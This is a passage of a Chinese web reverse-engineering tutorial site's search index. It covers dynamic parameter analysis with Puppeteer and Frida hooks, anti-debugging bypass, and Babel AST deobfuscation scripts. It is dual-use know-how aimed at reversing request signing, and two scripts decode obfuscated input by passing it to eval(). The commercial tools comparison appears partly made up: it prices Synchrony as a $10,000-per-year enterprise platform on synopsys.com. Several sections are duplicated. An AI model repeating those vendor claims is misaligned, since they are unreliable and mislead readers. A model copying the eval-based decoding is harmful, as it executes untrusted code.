await page.goto(\"https://example.com\"); })(); ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:12:2","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#102-puppeteer-调试模式"},{"categories":null,"collections":null,"content":"10.3 Frida Hook (移动端/桌面应用) 对于非浏览器环境（如 Electron、React Native），可以使用 Frida。 // Frida 脚本 Interceptor.attach(Module.findExportByName(null, \"encrypt\"), { onEnter: function (args) { console.log(\"[encrypt] 参数:\", Memory.readUtf8String(args[0])); }, onLeave: function (retval) { console.log(\"[encrypt] 返回值:\", Memory.readUtf8String(retval)); }, }); ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:12:3","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#103-frida-hook-移动端桌面应用"},{"categories":null,"collections":null,"content":"总结 动态分析的精髓在于： ✅ 调用栈追踪: 从 Initiator 或 Call Stack 找到代码入口 ✅ 断点技巧: 条件断点、Logpoint、XHR 断点、事件断点 ✅ 作用域检查: Local、Closure、Global 三层作用域 ✅ 探针技术: 属性拦截、函数劫持、Proxy 代理 ✅ 异步调试: Async Stack Traces、Promise 链追踪 ✅ 性能分析: CPU Profile、Memory Snapshot ✅ 反调试绕过: 禁用断点、修改检测代码 记住: 不要试图理解每一行混淆代码，而是观察数据流 —— 数据从哪里来、经过了什么处理、最后变成了什么。 ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:13:0","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#总结"},{"categories":null,"collections":null,"content":"相关章节 JavaScript 反混淆 浏览器开发者工具 Hooking 技术 API 逆向与重放攻击 Node.js 调试指南 ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:14:0","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#相关章节"},{"categories":null,"collections":null,"content":"反混淆脚本 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:0:0","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#反混淆脚本"},{"categories":null,"collections":null,"content":"概述 JavaScript 混淆是保护代码逻辑的常用手段。本章提供常用的反混淆脚本和技术，帮助还原混淆后的代码。 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:1:0","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#概述"},{"categories":null,"collections":null,"content":"混淆类型识别 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:2:0","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#混淆类型识别"},{"categories":null,"collections":null,"content":"1. 变量名混淆 特征: var _0x1a2b = \"Hello\"; var _0x3c4d = \"World\"; console.log(_0x1a2b, _0x3c4d); 工具: Prettier 格式化后手动重命名 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:2:1","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#1-变量名混淆"},{"categories":null,"collections":null,"content":"2. 字符串数组混淆 特征: var _0x1234 = [\"Hello\", \"World\", \"console\", \"log\"]; var _0xa = _0x1234[0]; var _0xb = _0x1234[1]; window[_0x1234[2]][_0x1234[3]](_0xa, _0xb); 脚本: 见下方字符串数组还原脚本 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:2:2","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#2-字符串数组混淆"},{"categories":null,"collections":null,"content":"3. 控制流平坦化 特征: var _0x1 = 0; while (true) { switch (_0x1) { case 0: console.log(\"A\"); _0x1 = 1; break; case 1: console.log(\"B\"); _0x1 = 2; break; case 2: return; } } ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:2:3","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#3-控制流平坦化"},{"categories":null,"collections":null,"content":"4. 死代码注入 特征: function real() { var fake1 = 123; if (false) { /* 永远不会执行的代码 */ } return \"real\"; } ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:2:4","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#4-死代码注入"},{"categories":null,"collections":null,"content":"在线工具 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:3:0","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#在线工具"},{"categories":null,"collections":null,"content":"1. Prettier 用途: 格式化压缩的代码 # 安装 npm install -g prettier # 格式化 prettier --write obfuscated.js 在线版: https://prettier.io/playground/ ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:3:1","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#1-prettier"},{"categories":null,"collections":null,"content":"2. JS-Beautify 用途: 美化 JavaScript 代码 npm install -g js-beautify js-beautify obfuscated.js \u003e formatted.js 在线版: https://beautifier.io/ ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:3:2","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#2-js-beautify"},{"categories":null,"collections":null,"content":"3. de4js 用途: 综合反混淆工具 在线版: https://lelinhtinh.github.io/de4js/ 支持: JSFuck JJencode AAencode URLencode Packer JavaScript Obfuscator ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:3:3","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#3-de4js"},{"categories":null,"collections":null,"content":"AST 反混淆脚本 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:4:0","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#ast-反混淆脚本"},{"categories":null,"collections":null,"content":"基础框架 使用 Babel 解析和转换 AST： const parser = require(\"@babel/parser\"); const traverse = require(\"@babel/traverse\").default; const generator = require(\"@babel/generator\").default; const t = require(\"@babel/types\"); const fs = require(\"fs\"); // 1. 读取混淆代码 const code = fs.readFileSync(\"obfuscated.js\", \"utf-8\"); // 2. 解析为 AST const ast = parser.parse(code); // 3. 遍历和转换 traverse(ast, { // 在这里添加转换规则 }); // 4. 生成代码 const output = generator(ast, {}, code); fs.writeFileSync(\"deobfuscated.js\", output.code); ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:4:1","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#基础框架"},{"categories":null,"collections":null,"content":"脚本 1: 常量折叠 目标: 计算常量表达式 traverse(ast, { BinaryExpression(path) { // 如果两个操作数都是字面量 if (t.isLiteral(path.node.left) \u0026\u0026 t.isLiteral(path.node.right)) { // 计算结果 const result = eval(path.toString()); // 替换为结果 path.replaceWith(t.valueToNode(result)); } }, }); 示例: // Before var a = 1 + 2; // After var a = 3; ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:4:2","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#脚本-1-常量折叠"},{"categories":null,"collections":null,"content":"脚本 2: 字符串数组还原 目标: 还原字符串数组引用 let stringArray = []; traverse(ast, { // 第一步：找到字符串数组 VariableDeclarator(path) { if (t.isArrayExpression(path.node.init)) { const name = path.node.id.name; stringArray = path.node.init.elements.map((e) =\u003e e.value); } }, // 第二步：替换数组访问 MemberExpression(path) { // _0x1234[0] =\u003e stringArray[0] if ( t.isIdentifier(path.node.object) \u0026\u0026 t.isNumericLiteral(path.node.property) ) { const index = path.node.property.value; const value = stringArray[index]; if (value !== undefined) { path.replaceWith(t.stringLiteral(value)); } } }, }); 示例: // Before var _0x1234 = [\"log\", \"Hello\"]; console[_0x1234[0]](_0x1234[1]); // After console[\"log\"](\"Hello\"); // 后续还可以继续优化为: console.log('Hello'); ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:4:3","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#脚本-2-字符串数组还原"},{"categories":null,"collections":null,"content":"脚本 3: 计算成员表达式 目标: obj['prop'] → obj.prop traverse(ast, { MemberExpression(path) { // 如果是 obj['prop'] 形式 if (path.node.computed \u0026\u0026 t.isStringLiteral(path.node.property)) { const propName = path.node.property.value; // 检查是否是合法标识符 if (/^[a-zA-Z_$][a-zA-Z0-9_$]*$/.test(propName)) { path.node.computed = false; path.node.property = t.identifier(propName); } } }, }); 示例: // Before console[\"log\"](\"Hello\"); // After console.log(\"Hello\"); ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:4:4","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#脚本-3-计算成员表达式"},{"categories":null,"collections":null,"content":"脚本 4: 删除死代码 目标: 删除 if (false) 等死代码 traverse(ast, { IfStatement(path) { // 如果条件是 false if (t.isBooleanLiteral(path.node.test, { value: false })) { // 删除整个 if 语句 path.remove(); } // 如果条件是 true else if (t.isBooleanLiteral(path.node.test, { value: true })) { // 用 consequent 替换整个 if path.replaceWithMultiple(path.node.consequent.body); } }, }); ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:4:5","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#脚本-4-删除死代码"},{"categories":null,"collections":null,"content":"脚本 5: 函数内联 目标: 内联简单的包装函数 const functionMap = {}; traverse(ast, { // 收集函数定义 FunctionDeclaration(path) { const name = path.node.id.name; // 只处理简单的返回语句函数 if ( path.node.body.body.length === 1 \u0026\u0026 t.isReturnStatement(path.node.body.body[0]) ) { functionMap[name] = path.node.body.body[0].argument; } }, // 替换函数调用 CallExpression(path) { if (t.isIdentifier(path.node.callee)) { const name = path.node.callee.name; if (functionMap[name]) { // 替换为函数体 path.replaceWith(functionMap[name]); } } }, }); ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:4:6","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#脚本-5-函数内联"},{"categories":null,"collections":null,"content":"完整反混淆流程 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:5:0","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#完整反混淆流程"},{"categories":null,"collections":null,"content":"自动化脚本 const fs = require(\"fs\"); const parser = require(\"@babel/parser\"); const traverse = require(\"@babel/traverse\").default; const generator = require(\"@babel/generator\").default; const t = require(\"@babel/types\"); function deobfuscate(inputFile, outputFile) { console.log(`[1/5] 读取文件: ${inputFile}`); const code = fs.readFileSync(inputFile, \"utf-8\"); console.log(\"[2/5] 解析 AST\"); const ast = parser.parse(code); console.log(\"[3/5] 常量折叠\"); constantFolding(ast); console.log(\"[4/5] 字符串数组还原\"); restoreStringArray(ast); console.log(\"[5/5] 清理和格式化\"); cleanup(ast); const output = generator(ast, { comments: false }, code); fs.writeFileSync(outputFile, output.code); console.log(`✅ 完成! 输出到: ${outputFile}`); } function constantFolding(ast) { traverse(ast, { BinaryExpression(path) { if (path.isConstantExpression()) { const result = path.evaluate(); if (result.confident) { path.replaceWith(t.valueToNode(result.value)); } } }, }); } function restoreStringArray(ast) { let stringArray = []; let arrayName = \"\"; traverse(ast, { VariableDeclarator(path) { if (t.isArrayExpression(path.node.init)) { arrayName = path.node.id.name; stringArray = path.node.init.elements.map((e) =\u003e e.value); } }, }); if (stringArray.length === 0) return; traverse(ast, { MemberExpression(path) { if ( t.isIdentifier(path.node.object, { name: arrayName }) \u0026\u0026 t.isNumericLiteral(path.node.property) ) { const index = path.node.property.value; const value = stringArray[index]; if (value !== undefined) { path.replaceWith(t.stringLiteral(value)); } } }, }); } function cleanup(ast) { traverse(ast, { // 删除空语句 EmptyStatement(path) { path.remove(); }, // obj['prop'] -\u003e obj.prop MemberExpression(path) { if (path.node.computed \u0026\u0026 t.isStringLiteral(path.node.property)) { const prop = path.node.property.value; if (/^[a-zA-Z_$][a-zA-Z0-9_$]*$/.test(prop)) { path.node.computed = false; path.node.property = t.identifier(prop); } } }, }); } // 使用示例 deobfuscate(\"obfuscated.js\", \"deobfuscated.js\"); ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:5:1","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#自动化脚本"},{"categories":null,"collections":null,"content":"针对特定混淆器 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:6:0","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#针对特定混淆器"},{"categories":null,"collections":null,"content":"JavaScript Obfuscator 特征识别： var _0x1234 = function () { /* ... */ }; (function (_0xabc, _0xdef) { /* ... */ })(_0x1234, 0x123); 工具: https://github.com/javascript-deobfuscator/webcrack ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:6:1","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#javascript-obfuscator"},{"categories":null,"collections":null,"content":"Webpack Bundle 使用 webcrack: npm install -g webcrack webcrack bundle.js -o output/ ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:6:2","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#webpack-bundle"},{"categories":null,"collections":null,"content":"JJencode function decode_jjencode(encoded) { // JJencode 使用颜文字编码 return eval(encoded); } 在线: https://utf-8.jp/public/jjencode.html ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:6:3","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#jjencode"},{"categories":null,"collections":null,"content":"实战案例 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:7:0","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#实战案例"},{"categories":null,"collections":null,"content":"案例：某电商网站混淆分析 原始代码: var _0x1a2b = [\"log\", \"价格\"]; console[_0x1a2b[0]](_0x1a2b[1]); 反混淆步骤: 字符串数组提取: // _0x1a2b = ['log', '价格'] 替换引用: console[\"log\"](\"价格\"); 成员表达式优化: console.log(\"价格\"); ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:7:1","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#案例某电商网站混淆分析"},{"categories":null,"collections":null,"content":"工具集合 工具 用途 链接 Prettier 格式化 https://prettier.io/ de4js 综合反混淆 https://lelinhtinh.github.io/de4js/ webcrack Webpack 反打包 https://github.com/j4k0xb/webcrack Babel AST 操作 https://babeljs.io/ AST Explorer 可视化 AST https://astexplorer.net/ ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:8:0","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#工具集合"},{"categories":null,"collections":null,"content":"最佳实践 分步处理: 不要一次性处理所有混淆，逐步还原 保留原文件: 始终保留原始混淆代码作为备份 验证正确性: 每一步都要验证代码功能未被破坏 结合动态调试: AST 反混淆 + DevTools 调试结合使用 识别混淆器: 不同混淆器用不同工具，事半功倍 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:9:0","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#最佳实践"},{"categories":null,"collections":null,"content":"商业化反混淆解决方案对比 JavaScript 反混淆既是技术活也是体力活，商业化工具可以大幅提升效率。以下是业界主流方案的专业对比。 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:0","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#商业化反混淆解决方案对比"},{"categories":null,"collections":null,"content":"1. 企业级反混淆工具 JScrambler Reverse Engineering Tool 定位: 商业 JavaScript 保护工具的配套分析工具 功能: 识别 JScrambler 保护的代码 自动化去除某些保护层 控制流分析 代码覆盖率追踪 价格: 包含在 JScrambler 企业订阅中（$1,000+/月） 局限: 主要针对自家混淆器 官网: https://jscrambler.com/ JSDetox（在线反混淆） 类型: 免费在线工具（社区维护） 功能: 自动检测混淆类型 支持多种常见混淆器 交互式分析环境 DOM 模拟执行 优势: 完全免费 无需安装 社区活跃 劣势: 不支持高级混淆 处理大文件较慢 缺乏商业支持 官网: http://www.jsdetox.com/ Synchrony（代码分析平台） 定位: 企业级静态分析平台 功能: JavaScript/TypeScript 深度分析 自动化反混淆流水线 漏洞检测 代码质量评估 价格: 企业定价（$10,000+/年） 适用: 大型代码库安全审计 官网: https://www.synopsys.com/ ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:1","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#1-企业级反混淆工具"},{"categories":null,"collections":null,"content":"1. 企业级反混淆工具 JScrambler Reverse Engineering Tool 定位: 商业 JavaScript 保护工具的配套分析工具 功能: 识别 JScrambler 保护的代码 自动化去除某些保护层 控制流分析 代码覆盖率追踪 价格: 包含在 JScrambler 企业订阅中（$1,000+/月） 局限: 主要针对自家混淆器 官网: https://jscrambler.com/ JSDetox（在线反混淆） 类型: 免费在线工具（社区维护） 功能: 自动检测混淆类型 支持多种常见混淆器 交互式分析环境 DOM 模拟执行 优势: 完全免费 无需安装 社区活跃 劣势: 不支持高级混淆 处理大文件较慢 缺乏商业支持 官网: http://www.jsdetox.com/ Synchrony（代码分析平台） 定位: 企业级静态分析平台 功能: JavaScript/TypeScript 深度分析 自动化反混淆流水线 漏洞检测 代码质量评估 价格: 企业定价（$10,000+/年） 适用: 大型代码库安全审计 官网: https://www.synopsys.com/ ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:1","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#jscrambler-reverse-engineering-tool"},{"categories":null,"collections":null,"content":"1. 企业级反混淆工具 JScrambler Reverse Engineering Tool 定位: 商业 JavaScript 保护工具的配套分析工具 功能: 识别 JScrambler 保护的代码 自动化去除某些保护层 控制流分析 代码覆盖率追踪 价格: 包含在 JScrambler 企业订阅中（$1,000+/月） 局限: 主要针对自家混淆器 官网: https://jscrambler.com/ JSDetox（在线反混淆） 类型: 免费在线工具（社区维护） 功能: 自动检测混淆类型 支持多种常见混淆器 交互式分析环境 DOM 模拟执行 优势: 完全免费 无需安装 社区活跃 劣势: 不支持高级混淆 处理大文件较慢 缺乏商业支持 官网: http://www.jsdetox.com/ Synchrony（代码分析平台） 定位: 企业级静态分析平台 功能: JavaScript/TypeScript 深度分析 自动化反混淆流水线 漏洞检测 代码质量评估 价格: 企业定价（$10,000+/年） 适用: 大型代码库安全审计 官网: https://www.synopsys.com/ ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:1","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#jsdetox在线反混淆"},{"categories":null,"collections":null,"content":"1. 企业级反混淆工具 JScrambler Reverse Engineering Tool 定位: 商业 JavaScript 保护工具的配套分析工具 功能: 识别 JScrambler 保护的代码 自动化去除某些保护层 控制流分析 代码覆盖率追踪 价格: 包含在 JScrambler 企业订阅中（$1,000+/月） 局限: 主要针对自家混淆器 官网: https://jscrambler.com/ JSDetox（在线反混淆） 类型: 免费在线工具（社区维护） 功能: 自动检测混淆类型 支持多种常见混淆器 交互式分析环境 DOM 模拟执行 优势: 完全免费 无需安装 社区活跃 劣势: 不支持高级混淆 处理大文件较慢 缺乏商业支持 官网: http://www.jsdetox.com/ Synchrony（代码分析平台） 定位: 企业级静态分析平台 功能: JavaScript/TypeScript 深度分析 自动化反混淆流水线 漏洞检测 代码质量评估 价格: 企业定价（$10,000+/年） 适用: 大型代码库安全审计 官网: https://www.synopsys.com/ ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:1","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#synchrony代码分析平台"},{"categories":null,"collections":null,"content":"2. 专业反混淆服务对比 De4js（功能最全面） 类型: 开源免费在线工具 支持混淆类型: ✅ JavaScript Obfuscator (obfuscator.io) ✅ JSFuck (jsfuck.com) ✅ JJencode (utf-8.jp) ✅ AAencode (utf-8.jp) ✅ URLencode ✅ Packer (Dean Edwards) ✅ Eval Chain 在线地址: https://lelinhtinh.github.io/de4js/ 使用示例: // 输入混淆代码 var _0x1a2b = [\"Hello\", \"World\"]; console.log(_0x1a2b[0], _0x1a2b[1]); // 自动检测并还原 // 输出: console.log('Hello', 'World'); 优势: 一站式解决大部分简单混淆 Webcrack（Webpack 专用） 类型: 开源 CLI 工具 专注领域: Webpack 打包代码逆向 功能: 自动识别 Webpack 版本 提取独立模块 还原原始文件结构 重命名变量 GitHub: https://github.com/j4k0xb/webcrack 安装使用: npm install -g webcrack webcrack bundle.js -o output/ # 输出： # output/ # ├── module_0.js # ├── module_1.js # └── ... 适用场景: 逆向 React/Vue 等现代前端项目 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:2","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#2-专业反混淆服务对比"},{"categories":null,"collections":null,"content":"2. 专业反混淆服务对比 De4js（功能最全面） 类型: 开源免费在线工具 支持混淆类型: ✅ JavaScript Obfuscator (obfuscator.io) ✅ JSFuck (jsfuck.com) ✅ JJencode (utf-8.jp) ✅ AAencode (utf-8.jp) ✅ URLencode ✅ Packer (Dean Edwards) ✅ Eval Chain 在线地址: https://lelinhtinh.github.io/de4js/ 使用示例: // 输入混淆代码 var _0x1a2b = [\"Hello\", \"World\"]; console.log(_0x1a2b[0], _0x1a2b[1]); // 自动检测并还原 // 输出: console.log('Hello', 'World'); 优势: 一站式解决大部分简单混淆 Webcrack（Webpack 专用） 类型: 开源 CLI 工具 专注领域: Webpack 打包代码逆向 功能: 自动识别 Webpack 版本 提取独立模块 还原原始文件结构 重命名变量 GitHub: https://github.com/j4k0xb/webcrack 安装使用: npm install -g webcrack webcrack bundle.js -o output/ # 输出： # output/ # ├── module_0.js # ├── module_1.js # └── ... 适用场景: 逆向 React/Vue 等现代前端项目 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:2","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#de4js功能最全面"},{"categories":null,"collections":null,"content":"2. 专业反混淆服务对比 De4js（功能最全面） 类型: 开源免费在线工具 支持混淆类型: ✅ JavaScript Obfuscator (obfuscator.io) ✅ JSFuck (jsfuck.com) ✅ JJencode (utf-8.jp) ✅ AAencode (utf-8.jp) ✅ URLencode ✅ Packer (Dean Edwards) ✅ Eval Chain 在线地址: https://lelinhtinh.github.io/de4js/ 使用示例: // 输入混淆代码 var _0x1a2b = [\"Hello\", \"World\"]; console.log(_0x1a2b[0], _0x1a2b[1]); // 自动检测并还原 // 输出: console.log('Hello', 'World'); 优势: 一站式解决大部分简单混淆 Webcrack（Webpack 专用） 类型: 开源 CLI 工具 专注领域: Webpack 打包代码逆向 功能: 自动识别 Webpack 版本 提取独立模块 还原原始文件结构 重命名变量 GitHub: https://github.com/j4k0xb/webcrack 安装使用: npm install -g webcrack webcrack bundle.js -o output/ # 输出： # output/ # ├── module_0.js # ├── module_1.js # └── ... 适用场景: 逆向 React/Vue 等现代前端项目 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:2","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#webcrackwebpack-专用"},{"categories":null,"collections":null,"content":"3. 代码美化与格式化工具 工具 类型 特点 价格 推荐指数 Prettier 开源 业界标准代码格式化 免费 ⭐⭐⭐⭐⭐ JS Beautifier 开源 老牌工具，功能稳定 免费 ⭐⭐⭐⭐ WebStorm 商业 IDE 内置强大格式化 $149/年 ⭐⭐⭐⭐ ReSharper 商业插件 Visual Studio 集成 $149/年 ⭐⭐⭐ 推荐组合: Prettier（格式化）+ webcrack（解包）+ Babel（AST 处理） ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:3","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#3-代码美化与格式化工具"},{"categories":null,"collections":null,"content":"4. AST 处理框架对比 Babel 生态（开源首选） 核心组件: @babel/parser - 解析 JS 为 AST @babel/traverse - 遍历和修改 AST @babel/generator - AST 转换回代码 @babel/types - AST 节点构建工具 优势: 完全免费 社区庞大 文档完善 插件丰富 学习成本: 中等（需要理解 AST 概念） 官网: https://babeljs.io/ SWC（Rust 实现，速度最快） 特点: 比 Babel 快 20-70 倍 用 Rust 编写 兼容 Babel 插件 适用: 大规模代码处理 GitHub: https://github.com/swc-project/swc Esprima vs Acorn 特性 Esprima Acorn 速度 中等 快 标准兼容 ES2021 ES2023 插件系统 有限 丰富 维护状态 活跃度低 活跃 推荐: 新项目使用 Acorn 或 Babel ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:4","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#4-ast-处理框架对比"},{"categories":null,"collections":null,"content":"4. AST 处理框架对比 Babel 生态（开源首选） 核心组件: @babel/parser - 解析 JS 为 AST @babel/traverse - 遍历和修改 AST @babel/generator - AST 转换回代码 @babel/types - AST 节点构建工具 优势: 完全免费 社区庞大 文档完善 插件丰富 学习成本: 中等（需要理解 AST 概念） 官网: https://babeljs.io/ SWC（Rust 实现，速度最快） 特点: 比 Babel 快 20-70 倍 用 Rust 编写 兼容 Babel 插件 适用: 大规模代码处理 GitHub: https://github.com/swc-project/swc Esprima vs Acorn 特性 Esprima Acorn 速度 中等 快 标准兼容 ES2021 ES2023 插件系统 有限 丰富 维护状态 活跃度低 活跃 推荐: 新项目使用 Acorn 或 Babel ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:4","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#babel-生态开源首选"},{"categories":null,"collections":null,"content":"4. AST 处理框架对比 Babel 生态（开源首选） 核心组件: @babel/parser - 解析 JS 为 AST @babel/traverse - 遍历和修改 AST @babel/generator - AST 转换回代码 @babel/types - AST 节点构建工具 优势: 完全免费 社区庞大 文档完善 插件丰富 学习成本: 中等（需要理解 AST 概念） 官网: https://babeljs.io/ 